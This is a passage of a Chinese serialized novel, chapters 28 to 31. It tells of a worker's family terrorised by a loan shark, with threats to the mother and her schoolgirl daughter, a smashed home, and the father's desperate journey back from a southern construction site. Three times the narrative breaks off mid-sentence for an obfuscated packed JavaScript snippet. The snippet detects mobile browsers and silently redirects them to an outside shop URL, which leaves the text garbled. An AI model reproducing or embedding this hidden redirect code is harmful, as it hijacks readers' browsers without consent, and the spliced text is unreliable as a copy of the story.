“天呐!这是惹上什么事了?”一个烫着鸡窝头的中年女人捂着嘴,声音却不小。 “还能什么事?借高利贷了呗!啧啧,看不出来啊,平时挺老实的……”另一个男人抱着胳膊,语气里带着看热闹的兴奋。 “离她家远点,沾上这种事儿,晦气!”有人拉着孩子匆匆绕行,仿佛她家门口有什么瘟疫。 “妈,那红字写的什么呀?”一个不懂事的孩子大声问道,立刻被大人用力拽走,低声呵斥:“别问!脏眼睛!” 这些议论,像无数根冰冷的针,从四面八方射来,扎得李桂兰体无完肤。她感觉自己在众目睽睽之下被剥光了衣服,每一个眼神都像鞭子抽打在她身上。她恨不得地上有条缝能立刻钻进去。 不知过了多久,她才从那种灵魂出窍般的僵直中恢复了一丝力气。她像疯了一样,冲回屋里,端出一盆浑浊的冷水,拿起一把旧刷子,拼命地、机械地刷洗着那些猩红的字迹和油漆。 可是,油漆早已半干,粘稠地附着在粗糙的墙皮上。冷水根本无济于事,刷子只能让红色的范围变得更大、更模糊,像一块永远无法愈合的、流着脓血的伤疤。她用力地刷着,指甲因为用力而翻起,渗出血丝,混合在红色的油漆和污水中。泪水模糊了她的视线,和着汗水、污水一起流下,她也顾不上擦。 她只知道,必须把这些东西弄掉!必须! 然而,一切都是徒劳。那猩红的印记,如同她背上那笔沉重的债务,深深地烙印在了这里,烙印在了她的人生里,再也无法抹去。她徒劳的刷洗,更象是一种绝望的表演,引来更多隐在门后、窗后的窥探和议论。 最终,她耗尽了最后一丝力气,瘫坐在冰冷潮湿的地上,靠着那片依旧刺眼的猩红墙壁,望着盆里那滩浑浊不堪、泛着诡异红色的污水,无声地痛哭起来。那面墙,成了她无法摆脱的耻辱柱,而整个筒子楼,都成了审判她的法庭。她知道,从这一刻起,她和女儿在这个地方,再也抬不起头了。 28. 学校的风波 那面猩红的油漆墙,像一道无法愈合的伤口,不仅烙在李桂兰家的外墙上,更烙在了张小梅的校园生活里。流言蜚语如同携带病毒的苍蝇,迅速从筒子楼飞进了校园的每一个角落。 课间操时间,阳光懒洋洋地洒在灰扑扑的操场上,学生们像往常一样做着广播体操。张小梅站在队伍里,努力让自己动作标准,试图融入这看似整齐划一的集体。但她能清晰地感觉到,周围投来的目光变了。不再是往常那种对“好学生”的平常看待,而是掺杂了好奇、探究,甚至是一丝不易察觉的鄙夷和疏远。几个女生凑在一起,对着她的方向窃窃私语,然后发出低低的、意味不明的笑声。那笑声像细小的针,扎得她浑身不自在。 放学铃声响起,学生们如同开闸的洪水涌出校门。张小梅像往常一样,背着洗得发白的旧书包,低头快步走着,只想尽快离开这片让她感到窒息的地方。她多么希望这只是自己的错觉,希望那墙上的红漆、那些邻居的议论,都只是一场很快就会醒来的噩梦。 然而,噩梦就在校门口变成了现实。 两个穿着花衬衫、头发抹得油亮、叼着烟卷的年轻混混,斜倚在校门对面的电线杆上,目光在涌出的人流中搜寻着。当看到张小梅时,两人对视一眼,丢掉烟头,晃晃悠悠地走了过来,故意挡住了她的去路。 一股浓烈的烟臭和廉价发胶味扑面而来。张小梅吓得脸色煞白,下意识地后退一步,紧紧抱住了怀里的书包。 “哟,这就是张小梅吧?”其中一个高个子的混混,咧着嘴,露出一口被烟熏黄的牙齿,笑嘻嘻地凑近,语气轻佻,“长得还挺水灵。你妈李桂兰,欠我们龙哥的钱,到底啥时候还啊?这都拖多久了?” 周围放学的学生和接孩子的家长瞬间安静下来,无数道目光齐刷刷地聚焦过来,像聚光灯一样打在张小梅身上。她感觉自己的脸像被火烧一样滚烫,屈辱的泪水迅速涌上眼眶,视线变得模糊。 “就……就快了……”她声音小的几乎听不见,带着哭腔,只想立刻逃离。 “快了是啥时候?”另一个矮胖的混混故意提高音量,唯恐周围的人听不见,“小妹妹,回家告诉你妈,躲是没用的!再不还钱,下次我们哥几个,可就不是来学校‘问问’这么简单了!说不定得来你家‘坐坐’,或者……找你‘聊聊’?”他猥琐的目光在张小梅刚刚开始发育的身体上扫了一圈,意图不言自明。 周围响起一阵压抑的惊呼和议论。有家长赶紧把自己的孩子拉走,避之不及。同学们则惊恐地看着她,像看一个突然出现的怪物。曾经和她一起上下学的同伴,此刻也悄悄拉开了距离,眼神里充满了恐惧和躲闪。 “我不是……我没有……”张小梅语无伦次,巨大的恐惧和羞耻感像海啸般将她淹没。她再也承受不住那些目光和议论,猛地低下头,用尽全身力气推开挡在面前的混混,像一只受惊的小鹿,不顾一切地朝着家的方向狂奔而去。 书包在背上剧烈地颠簸,书本哐当作响。风声在耳边呼啸,却盖不住身后传来的、那两个混混放肆的嘲笑声,以及周围那些针扎一样的目光和指指点点的议论。 她一路跑,泪水一路狂飙。街道两旁熟悉的店铺、行人、车辆,都变得扭曲而陌生。世界仿佛在她周围坍塌,只剩下无边的恶意和冰冷的恐惧。她不再是那个成绩优异、被老师夸奖的张小梅,她是“欠高利贷的女人的女儿”,是被人指指点点、被混混堵在校门口羞辱的可怜虫。 学校,这个她曾经视为净土和希望的地方,此刻也向她关上了温暖的大门,将她无情地推入了成人世界的残酷和污浊之中。她奔跑着,仿佛这样就能甩掉那如影随形的耻辱,但那条名为“债务”和“出身”的锁链,已经牢牢地拴在了她的脚踝上,沉重得让她几乎无法呼吸。 张小梅一路狂奔回家,推开家门时,脸上的泪痕尚未干透,惊恐和屈辱让她的小脸扭曲着。她扑进正在灶台前熬药的李桂兰怀里,语无伦次地哭诉着在校门口的遭遇。李桂兰听着,手里的药勺“哐当”一声掉进锅里,滚烫的药汁溅在她手背上,她却感觉不到丝毫疼痛,只有一种冰冷的、坠入深渊的绝望。 还没等她从女儿的哭诉中缓过神来,那熟悉的、如同地狱传来的敲门声再次响起。这一次,不再是擂鼓,而是带着一种不耐烦的、摧毁性的力量,“砰砰砰!”象是要把那扇薄薄的木门直接砸穿。 李桂兰的心跳骤然停止。她下意识地把女儿紧紧搂在怀里,仿佛这样就能为她抵挡一切。 门开了。龙哥带着皮夹克和寸头,还有另外两个新面孔的彪形大汉,像一股黑色的潮水涌了进来。狭小的屋子瞬间被这些充满戾气的身体和浓重的烟味填满,令人窒息。 “钱呢?”龙哥开门见山,他甚至懒得找地方坐,就那么叉着腿站在屋子中央,目光像冰冷的探照灯,扫过家徒四壁的房间,最后定格在李桂兰惨白的脸上。“拖了这么久,真当我们是开善堂的?” “龙哥……再……再宽限几天,我正在想办法……”李桂兰的声音抖得不成样子,她把女儿护在身后,自己的身体却控制不住地颤抖。 “想办法?你想什么办法?卖血吗?你那点血值几个钱!”龙哥嗤笑一声,猛地一脚踢翻了脚边的一个小板凳,木头碎裂的声音吓得张小梅尖叫起来。 “妈的,给脸不要脸!”旁边的皮夹克男骂了一句,猛地伸手抓起桌上的那个竹壳暖水瓶——那是家里唯一还算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743063|189737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完好的日用品。他看也不看,抡起来就狠狠砸向墙壁! “嘭!!!”一声巨响!暖水瓶炸裂开来,滚烫的开水和着银色的玻璃内胆碎片,像爆炸一般四处飞溅!灼热的水汽瞬间弥漫了整个房间,细碎的玻璃碴如同死亡的冰雹,噼里啪啦地落了一地。 “啊!”张小梅发出撕心裂肺的尖叫,整个人蜷缩到墙角,双手死死抱住头,吓得浑身筛糠般抖动。 飞溅的开水有几滴落在李桂兰的脚踝上,瞬间传来一阵尖锐的烫痛,但她完全顾不上。看着满地的狼藉,看着女儿惊恐到极点的样子,看着那几个男人脸上残忍而满意的狞笑,她脑子里那根紧绷了太久的弦,终于,“嘣”地一声,彻底断了。 什么尊严,什么体面,什么劳模家属的过去……在赤裸裸的暴力和对女儿安全的极度恐惧面前,全都灰飞烟灭。 她“扑通”一声,直挺挺地跪了下去。双膝砸在冰冷坚硬、还散落着玻璃碴的水泥地上,发出沉闷的响声。她甚至感觉不到膝盖的疼痛,只是伸出颤抖的双手,一把抱住了离她最近的龙哥的腿,像溺水者抓住最后一根稻草,尽管那稻草是淬毒的荆棘。 “龙哥!求求你!求求你们了!”她的声音因为极致的恐惧和哀求而变调,眼泪和鼻涕瞬间糊满了脸,样子卑微狼狈到了尘埃里。“再宽限几天!就几天!我一定想办法弄到钱!求你们别吓着我孩子!别砸了!求你们了!我给你们磕头!” 她语无伦次地哀求着,真的就要俯下身去磕头。那一刻,她不再是那个曾经在机床前认真工作的女工,不再是那个有着微薄骄傲的母亲,她只是一个被债务和暴力彻底摧毁了意志的、可怜的女人。 龙哥低头看着脚下这个卑微乞怜的女人,脸上露出一丝混杂着厌恶和满足的神色。他动了动腿,想把她的手甩开,但李桂兰抱得死紧。 “妈的,早这么识相不就完了?”他骂了一句,语气里却带着一种掌控他人生死的快意,“行,再给你最后三天!三天后,要是再见不到钱……”他顿了顿,目光阴鸷地扫过墙角瑟瑟发抖的张小梅,“后果,你自己清楚!” 说完,他用力挣开李桂兰的手,象是甩掉什么脏东西,带着手下,扬长而去。 门被狠狠摔上。屋子里死一般寂静,只剩下开水在地面慢慢冷却的滋滋轻响,以及张小梅压抑不住的、小动物般的呜咽。 李桂兰依旧保持着跪地的姿势,瘫坐在冰冷的玻璃碴和污水里,一动不动。她的头深深垂下,散乱的头发遮住了脸,只有肩膀在无法控制地轻微耸动。那一下跪,不仅跪碎了她的膝盖,更跪碎了她作为一个人、一个母亲的全部支撑。空气中弥漫着硝烟(开水蒸汽)、绝望和尊严腐烂的气味。 29. 最后的电话 龙哥留下的“三天期限”,像三道催命符,刻在李桂兰的骨头上。家里能卖的都卖了,能借的……早已借遍。亲戚朋友起初还敷衍几句,后来见到她都像躲瘟疫,电话打到娘家,嫂子接起来,不等她开口就阴阳怪气:“哎呦,桂兰啊,又是钱的事儿?我们家这月房贷都还不上了,你哥正发愁呢!要不,你再问问别人?” 随即便是毫不留情的挂断声。 邻居们更是避之不及。楼道里遇见,要么迅速低头侧身而过,要么干脆“砰”地一声关上门,那声响在空荡的楼道里回荡,格外刺耳。王婶那尖锐的嗓音,隔着墙壁都能隐隐传来:“……自己作死借印子钱,还想拖累别人?谁沾上谁倒霉!” 每一句风凉话,都像鞭子抽在李桂兰早已麻木的神经上。 走投无路。真正的走投无路。 唯一的希望,似乎只剩下远在南方的张建设。尽管知道他艰难,尽管上次通话时他声音里的疲惫几乎要溢出听筒,但李桂兰就像即将溺毙的人,只能拼命去抓这最后一根稻草,哪怕这根稻草本身也已千疮百孔。 第三天下午,期限的最后几个小时内。李桂兰把吓得不敢出声、一直蜷缩在床角的张小梅反锁在家里,自己揣着家里最后几块钱,踉踉跄跄地跑到几条街外的邮局。那里有可以打长途的电话间。 邮局里人来人往,嘈杂不堪。她排了很长的队,终于轮到一个用玻璃隔开的小电话间。玻璃上满是油腻的指纹,电话机老旧,听筒散发着一股混杂的汗味和消毒水味。她颤抖着手,一遍遍回忆着张建设上次来信时,附上的那个模糊的工地传达室号码。 投币,拨号。听筒里传来漫长而单调的“嘟——嘟——”声,每一声都敲打在她濒临崩溃的心弦上。她紧紧握着听筒,指关节攥得发白,心里疯狂地祈祷着:“接电话,求求你,接电话……” 终于,电话被接起了,传来一个极其不耐烦的、带着浓重南方口音的男声:“喂!找谁啊!”背景是震耳欲聋的机器轰鸣和杂乱的叫喊声。 “师……师傅,麻烦您,我找张建设!北春来的电话!”李桂兰几乎是喊着说的,声音因为紧张和激动而嘶哑变形。 “张建设?”那边顿了一下,似乎在回想,随即更加不耐烦地吼道,“干活呢!没空!等下班再打来!” “不行啊师傅!求求您!家里出大事了!急事!您就叫他一下,一分钟,就一分钟!”李桂兰的眼泪瞬间涌了出来,带着哭腔哀求,身体因为恐惧和急切而前倾,几乎要撞到冰冷的玻璃隔板上。 那边沉默了几秒,似乎被她话语里的绝望触动,或者是单纯嫌她烦。终于,她听到那边远远地、模糊地喊了一声:“张建设!电话!北春!快点!” 等待的几十秒,像一个世纪那么漫长。李桂兰能听到自己心脏疯狂跳动的声音,几乎要冲破胸膛。她死死咬住下唇,不让自己哭出声。 终于,一个熟悉而疲惫、带着急促喘息的声音贴近了听筒,是张建设!“桂兰?咋了?我这边正忙……” 听到丈夫声音的这一刻,李桂兰所有伪装的坚强彻底瓦解,积压了数月的恐惧、委屈、绝望如同决堤的洪水,汹涌而出。她对着话筒,用尽全身力气,带着崩溃的哭音,只来得及喊出那句在她心里重复了千万遍的话: “建设!家里出事了,快……” “快”字后面的“回来”或者“寄钱”还没来得及说出口,听筒里突然传来一阵粗暴的拉扯和斥责声:“妈的!磨蹭什么!工期赶不上你负责啊!快点!” 紧接着,是张建设一声短促而模糊的“我……”,电话便被“啪”地一声重重挂断! “嘟——嘟——嘟——嘟——”冰冷的、规律的忙音,像一把钝刀,瞬间切断了所有联系,也切断了李桂兰最后一丝微弱的希望。 她僵在原地,维持着握听筒的姿势,仿佛被抽走了所有的灵魂和力气。脸上的泪水纵横交错,瞳孔涣散,没有焦点。听筒里那无情重复的忙音,在她听来,象是为她,为这个家,敲响的丧钟。 邮局里嘈杂的人声、办理业务的问答声,此刻都仿佛来自另一个遥远的世界。她什么都听不见了,只剩下那冰冷的忙音,和她内心世界轰然倒塌的巨响。 最终,她慢慢地、极其缓慢地,放下了那个变得无比沉重的听筒。金属听筒撞击在话机上的声音,轻微却清晰。她转过身,像个游魂一样,麻木地、一步一步地挪出电话间,挪出邮局。 外面,北春傍晚的天空依旧是灰蒙蒙的,带着料峭的春寒。她站在街边,望着车水马龙、人来人往,却感觉自己和这个世界隔着一层无法穿透的厚玻璃。最后一个求救信号发射失败,她彻底被抛弃在了这绝望的孤岛上。 她握着那枚退回的、带着她体温的硬币,瘫坐在邮局门口冰冷的水泥台阶上,蜷缩起身体,将脸深深埋进膝盖。没有哭声,没有眼泪,只剩下无声的、彻底的绝望,在她瘦削的肩头凝固成一座冰冷的雕像。路过的行人投来或好奇或漠然的一瞥,无人知晓,这个坐在台阶上的女人,刚刚被命运掐断了最后一丝生机。 南方的工地,永远浸泡在一种黏腻的喧嚣里。搅拌机的轰鸣、钢筋与水泥的碰撞、工头用夹杂着脏话的方言声嘶力竭的吆喝,还有空气中永远弥漫的尘土、汗臭和劣质烟草的味道,共同构成了一幅庞大而冰冷的工业画卷。张建设正和几个工友抬着一根粗重的预制水泥板,汗水像小溪一样从他古铜色的脊背上淌下,混着灰白的泥浆,在他结痂又裂开的皮肤上冲出道道沟壑。每迈出一步,脚上那双快要散架的解放鞋都深深陷进松软的泥地里,发出“噗嗤”的声响。 就在这时,工地那个歪歪扭扭、用木棍支着的传达室窗口,探出管理员老刘油光满面的脑袋,他扯着嗓子,用一种事不关己的懒散腔调喊道:“张建设!北春长途!快点!磨磨蹭蹭的!” “北春”两个字像一道闪电,瞬间劈中了张建设。他肩膀一沉,差点让水泥板脱手,旁边的工友不满地嘟囔了一句。他顾不得道歉,扔下肩上的木杠,也顾不上拍打满身的灰土,几乎是踉跄着冲向传达室。 电话听筒油腻腻的,贴在耳朵上很不舒服。他刚“喂”了一声,就听到妻子李桂兰那熟悉却又陌生到让他心惊的声音——嘶哑、颤抖,带着一种他从未听过的、濒临崩溃的哭腔,像一根绷紧到极致、即将断裂的琴弦: “建设!家里出事了,快……”声音到此戛然而止,取而代之的是粗暴的拉扯声、模糊的斥骂,以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743064|189737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 及最后那一声决绝的、冰冷的挂断忙音。 “桂兰!桂兰!!”张建设对着话筒嘶吼,回应他的只有“嘟—嘟—嘟—”的无情重复。他感觉一股寒气从脚底板直冲天灵盖,浑身的血液仿佛瞬间凝固。家里出事了?出什么事了?是小梅?还是桂兰的病?那哭声里的绝望,像一只冰冷的手,死死攥住了他的心脏,让他几乎无法呼吸。 他失魂落魄地放下电话,冲出传达室。午后的阳光白晃晃的,刺得他眼睛生疼。工地的喧嚣再次涌入耳膜,却显得那么遥远而不真实。他脑子里乱成一团麻,只剩下妻子那半句未说完的哭喊和绝望的尾音,在不断回响,放大。 他找到正叼着烟、对着图纸指手画脚的四川籍工头,声音因为急切而发干发紧:“王头,我……我家里有急事,我得立刻回去一趟!” 工头王老三抬起眼皮,斜睨了他一眼,吐出一口浓烟,不耐烦地挥挥手:“回去?搞啥子名堂嘛!没看到工期紧成啥样了?老板天天催命一样!现在走?不可能!等这期工程搞完再说!” “王头!真是急事!人命关天啊!”张建设急得眼睛都红了,上前一步,几乎要抓住工头的胳膊,“我老婆刚才来电话,家里出大事了!我必须回去!” “你老婆来个电话就是人命关天?哪个家里没点屁事!”王老三把烟头狠狠摔在地上,用脚碾灭,语气刻薄,“张建设,你别给脸不要脸!你想走就走,这半个月的工钱要不要了?告诉你,现在走了,一分钱没有!你自己掂量掂量!” 工钱……张建设的心猛地一沉。那是他熬了无数个日夜,准备寄回去给桂兰买药、给小梅交学费的血汗钱! 旁边几个看热闹的工友也七嘴八舌地插话: “老张,忍忍吧,家里女人就是事多!” “就是,回去一趟车费都不少,工钱再扣了,图个啥?” “肯定是想骗你回去呗,这年头,女人在家……” 那些冷漠、猜忌甚至带着猥琐意味的话语,像针一样扎进张建设的耳朵里。他看着工头那张写满算计和不耐烦的脸,看着工友们事不关己的麻木神情,再想到电话里妻子那绝望的哭喊,一股压抑了太久太久的怒火、恐惧和对家人极度的担忧,猛地冲垮了他一直以来谨小慎微的堤坝。 他第一次,像一头被逼到绝境的困兽,猛地瞪大了布满血丝的眼睛,额头青筋暴起,朝着工头,朝着那些冷漠的看客,用尽全身力气发出嘶吼,那声音沙哑却带着一种破釜沉舟的决绝: “天塌了我也得回去!”吼声震住了在场的所有人。工头王老三被他眼中那股从未见过的、近乎疯狂的狠厉惊得后退了半步。 张建设不再看任何人,他转身,像一头挣脱了缰绳的老马,冲向自己那位于工棚角落、散发着霉味的铺位,开始疯狂地、胡乱地将几件破旧的衣物塞进那个印着“北春市第一机械厂”的帆布包。 工钱?他不要了!前途?他顾不上了!此刻,他脑海里只有一个念头,如同烧红的烙铁般灼热而清晰:回家!立刻!马上! 那个远在北方的、风雨飘摇的家,需要他。他必须回去,哪怕前面是刀山火海。那不祥的预感,已经化为实质的恐惧,吞噬了他所有的理智和权衡。 30. 火车上的四十八小时 张建设用几乎是被克扣和施舍般结算来的微薄工钱,买到了一张最快出发的、通往北方的绿皮火车硬座票。不是卧铺,甚至不是靠窗的座位,而是挤在三人座最外面、紧挨着冰冷车厢连接处和污秽不堪的厕所的那个位置。 车厢里,活像一个人肉罐头。汗味、脚臭味、劣质泡面和熟食混合的油腻气味、婴儿的奶腥味、还有厕所门开关间溢出的刺鼻氨气味,层层叠叠地交织、发酵,在温暖(或者说闷热)的车厢里酝酿成一种令人作呕的、粘稠的空气。每呼吸一口,都感觉吸入的不是氧气,而是无数微小的、污浊的颗粒。座位上、过道里,甚至座位底下,都塞满了人,各种方言的喧哗、小孩的哭闹、收音机里嘶哑的歌声,汇成一片嗡嗡作响的噪音海洋。 张建设蜷缩在那个狭小的空间里,帆布包紧紧抱在怀里,仿佛里面装着的是他全部的家当和希望。他不敢合眼,一闭上眼,就是李桂兰那半句带着哭腔的“家里出事了,快……”,后面跟着的,是无数种可怕的想象:是小梅病了?是桂兰病情加重咳血了?还是……他不敢想下去,心脏象是被一只无形的手攥紧,一阵阵发慌。窗外飞驰而过的、逐渐从南方的葱郁变为北方萧瑟的风景,在他眼中只是模糊的、毫无意义的色块。 坐在他旁边的,是一个带着孩子的中年妇女,孩子不停地哭闹,女人不耐烦地呵斥着,嘴里嘟囔着“讨债鬼”。对面,一个穿着皱巴巴西装、头发梳得油亮的中年男人,正唾沫横飞地跟邻座吹嘘着自己这趟南下做了笔多大的生意,眼神里满是精明和算计。他看到张建设一身灰土、满脸憔悴的样子,嘴角不易察觉地撇了撇,带着一丝优越感,把放在小桌板上的烧鸡和白酒往自己这边挪了挪。 “喂,老师傅,挤一挤,让我放个脚。”一个提着巨大蛇皮袋的壮汉,粗鲁地用袋子撞了撞张建设的腿,然后不由分说地把袋子塞到了他脚边本就狭小的空间里。 张建设默默地、几乎是顺从地把脚又往里缩了缩,没有吭声。在这里,没人关心你的过去,没人在意你的焦虑,每个人都象是被时代洪流裹挟着的泥沙,在拥挤和浑浊中挣扎着属于自己的方寸之地。 夜晚降临,车厢里的灯昏暗下来。各种声音渐渐平息,取而代之的是此起彼伏的鼾声、磨牙声和梦呓。寒冷从车厢连接处的缝隙里钻进来,像冰冷的蛇,缠绕着每个人的身体。张建设又冷又饿,胃里像有一把火在烧。他拿出临走前工棚里一个老工友塞给他的、已经冷硬得像石头的馒头,就着军用水壶里冰凉的白水,一口一口,艰难地吞咽着。那冰冷的馒头渣划过喉咙,象是沙砾。 他听着车轮碾压铁轨发出的、单调而重复的“哐当、哐当”声,那声音仿佛在不停地追问:“出了什么事?出了什么事?” 时间仿佛被无限拉长,每一分钟都像一个世纪那么难熬。他望着车窗外漆黑一片的、偶尔闪过几点零星灯火的旷野,感觉自己正被这钢铁巨兽拖拽着,奔向一个未知的、却注定充满风暴和灾难的终点。 他想起离家前,桂兰虽然身体不好,但眼神里还有光,小梅聪明懂事,成绩优异。想起自己离开时,拍着胸脯保证,一定在南方挣到钱,让她们过上好日子……可现在?他不仅没能带回希望,反而连她们最基本的安全都无法保障。一种深沉的、如同这夜色般浓重的愧疚和无力感,几乎要将他吞噬。 四十八个小时,他就这样在极度的焦虑、身体的疲惫、恶劣的环境和周围人群的冷漠势利中,硬生生地熬了过来。当广播里终于传来“北春站快要到了”的通知时,他几乎是弹跳着站了起来,不顾浑身酸痛和麻木的双腿,挤过横七竖八睡在过道里的人群,像一头终于嗅到巢穴气息却恐惧于其中变故的野兽,死死地盯着窗外那片逐渐清晰、熟悉而又陌生的城市轮廓。 火车嘶鸣着,带着一身的风尘与疲惫,缓缓驶入北春站。张建设几乎是第一个冲出车厢的人,冰冷的、熟悉的北方空气瞬间涌入肺叶,却带着一股陌生的、呛人的煤烟与灰尘混合的味道。站台依旧嘈杂,人流汹涌,但那些面孔似乎都蒙着一层灰败的焦虑,少了记忆中那份国营大厂鼎盛时期工人特有的、带着点优越感的从容。 他背着那个磨破了边的帆布包,脚步匆匆地穿过熟悉而又陌生的站前广场。广场周围,多了不少行色匆匆的小贩和拉客的出租车司机,吆喝声此起彼伏,带着一种急切的、讨生活的狼狈。巨大的广告牌上,不再是振奋人心的生产口号,而是花花绿绿的化妆品和白酒广告,模特的笑容虚假而刺眼。几栋正在兴建的高楼骨架,像巨大的怪物,盘踞在城市边缘,与低矮破旧的工人住宅区形成尖锐的对比。 他没有心思多看,心里那根弦越绷越紧,几乎是跑着挤上了那趟通往他家方向的、破旧不堪的老式公共汽车。车厢里挤满了人,空气污浊。他紧紧抓着冰冷的扶手,身体随着颠簸的车厢摇晃,目光死死盯着窗外飞速倒退的街景。街道似乎比以前更脏乱了,积雪融化后的泥泞冻结成冰,混合着垃圾,堆积在路边。不少熟悉的国营店铺关了门,卷帘门上贴着“出租”“转让”的字条,如同讣告。只有一些新开的、装修俗气的私人小店和录像厅,闪烁着廉价的霓虹,透着一股畸形的活力。 越靠近家,他的心跳得越快。那种不祥的预感,如同阴云,不仅没有散去,反而因为熟悉的景物而变得更加具体、沉重。 终于, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743065|189737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公共汽车在一个熟悉的、满是油污的站牌前“嘎吱”一声停下。他跳下车,几乎是奔跑着冲进那条通往他家筒子楼的、狭窄而堆满杂物的巷子。 巷子还是那个巷子,墙壁上孩子们歪歪扭扭的粉笔字,墙角冻住的垃圾堆,空气中弥漫的煤烟和白菜炖粉条的味道,一切都似乎和离开时一样。可又有什么不一样了。一种诡异的寂静,以及空气中若有若无的、一种类似油漆稀释剂的刺鼻气味。 他远远地就看到,自家那栋破旧的筒子楼楼下,竟然三三两两地围了一些人。都是些老街坊,有的抱着胳膊,有的交头接耳,脸上带着一种混合着好奇、同情,但更多是事不关己的看客神情,目光都若有若无地瞟向他家那个单元门洞的方向。 看到他急匆匆地跑来,那些议论声瞬间低了下去,目光齐刷刷地聚焦在他身上。那目光复杂极了,有怜悯,有叹息,有“终于回来了”的了然,甚至还有一丝不易察觉的、等着看好戏的兴奋。王婶那张胖脸从人堆里探出来,看到他,象是想说什么,嘴唇动了动,最终却只是重重地叹了口气,摇了摇头,把身子缩了回去。 这反常的寂静,这聚集的人群,这异样的目光,像一盆冰水,从张建设的头顶浇下,瞬间冻结了他的四肢百骸。 他猛地停下脚步,心脏象是被一只冰冷的手狠狠攥住,几乎要停止跳动。浑身的血液仿佛逆流,冲向头顶,让他一阵眩晕。 他不再看那些邻居,用一种近乎恐怖的力气拨开人群,踉踉跄跄地冲向那个他日夜思念、此刻却让他恐惧到极点的家门。 越靠近,那股刺鼻的油漆味越发清晰。当他终于站在自家门前时,眼前的景象,像一把烧红的铁锤,狠狠砸在了他的眼球上,砸碎了他所有的侥幸和心理准备—— 那扇熟悉的、漆皮剥落的旧木门,此刻虚掩着,门板上赫然留着几个清晰的、被重物撞击甚至可能是脚踹留下的凹痕和裂纹!门锁的位置,金属部件扭曲变形,显然是被暴力破坏过!而在门板和旁边的墙壁上,虽然被人试图清洗过,却依旧残留着大片大片无法完全抹去的、暗红色的、如同干涸血迹般刺目的油漆污渍!那些污渍泼洒得毫无章法,充满了恶意和暴力,像一道永远无法愈合的丑陋伤疤,烙在这个曾经代表着“家”的安宁入口。 家?眼前这扇破碎的、被污秽标记的门,后面还是他的家吗?张建设浑身的力气仿佛瞬间被抽空,他扶着冰冷的、满是污渍的墙壁,才勉强没有瘫倒。大脑一片空白,耳朵里嗡嗡作响,只有心脏在胸腔里疯狂而绝望地擂动。 桂兰!小梅!她们在里面吗?她们怎么样了?巨大的恐惧如同黑色的潮水,彻底淹没了他。 31. 破碎的家门 张建设扶着那面残留着刺眼红漆、冰冷粗糙的墙壁,勉强支撑住几乎软倒的身体。那扇虚掩的、布满凹痕和裂纹的门,像一个黑洞,吞噬了他所有的勇气和侥幸。邻居们或明或暗的目光,如同芒刺在背,但他已全然顾不上了。 他伸出颤抖得不像话的手,轻轻推开了那扇几乎要散架的门。 “吱呀——”一声令人牙酸的、濒死的呻吟,从门轴处发出。一股难以形容的、混合着中药的苦涩、某种类似血腥气的铁锈味、以及被打砸后扬起的灰尘和霉味的复杂气息,扑面而来,呛得他一阵咳嗽。 屋内的景象,让他浑身的血液瞬间逆流,直冲头顶,眼前一阵发黑。这……这还是他的家吗? 映入眼帘的,是一片触目惊心的狼藉。原本虽然破旧但还算整洁的屋子,此刻如同被一场微型风暴席卷过。那张用了十几年的、边缘已经磨圆的木头饭桌被掀翻在地,一条桌腿从中断裂,像一根被折断的骨头,白森森的木茬裸露着。几把凳子东倒西歪,其中一把的靠背已经碎裂。 地上,到处都是暖水瓶爆炸后留下的银色玻璃内胆碎片,细碎、锋利,在从糊着旧报纸的窗户透进来的、灰蒙蒙的光线下,反射着冰冷的光。一滩已经干涸发暗、呈现出可疑深褐色的水渍黏糊糊地凝在水泥地上,旁边散落着被踩烂的白菜叶和几个摔碎的粗瓷碗的碎片。 墙壁上,原本贴着几张张小梅的奖状和一张泛黄的“安全生产标兵”奖状的地方,现在只剩下几道被粗暴撕扯后留下的、参差不齐的残破纸边,像被撕裂的皮肤。墙角那个印着红双喜字的铁皮暖壶壳,被踹得凹陷进去,孤零零地躺在那里,像个被遗弃的、扭曲的骷髅。 他的目光,最终死死地钉在了靠近里屋门口的地面上。 那里,有一小滩已经干涸凝固的、暗红色的印记。那颜色,比门外墙上泼洒的油漆更深,更沉,带着一种不祥的、粘稠的质感。是血吗?是谁的血?桂兰的?还是……小梅的?! 这个念头像毒蛇一样噬咬着他的心脏。他几乎能想象出,当时这里是怎样一番景象:凶狠的推搡,绝望的哭喊,暖水瓶炸裂的巨响,身体撞击家具的闷响,以及……可能出现的、飞溅的鲜血! “嗬……嗬……”张建设喉咙里发出破风箱般的声音,他张着嘴,却感觉吸不进一丝空气。巨大的恐惧和愤怒像两只无形的手,死死扼住了他的咽喉。他踉跄着向前迈了一步,脚下踩到一块玻璃碎片,发出“咔嚓”一声脆响,但他浑然不觉疼痛。 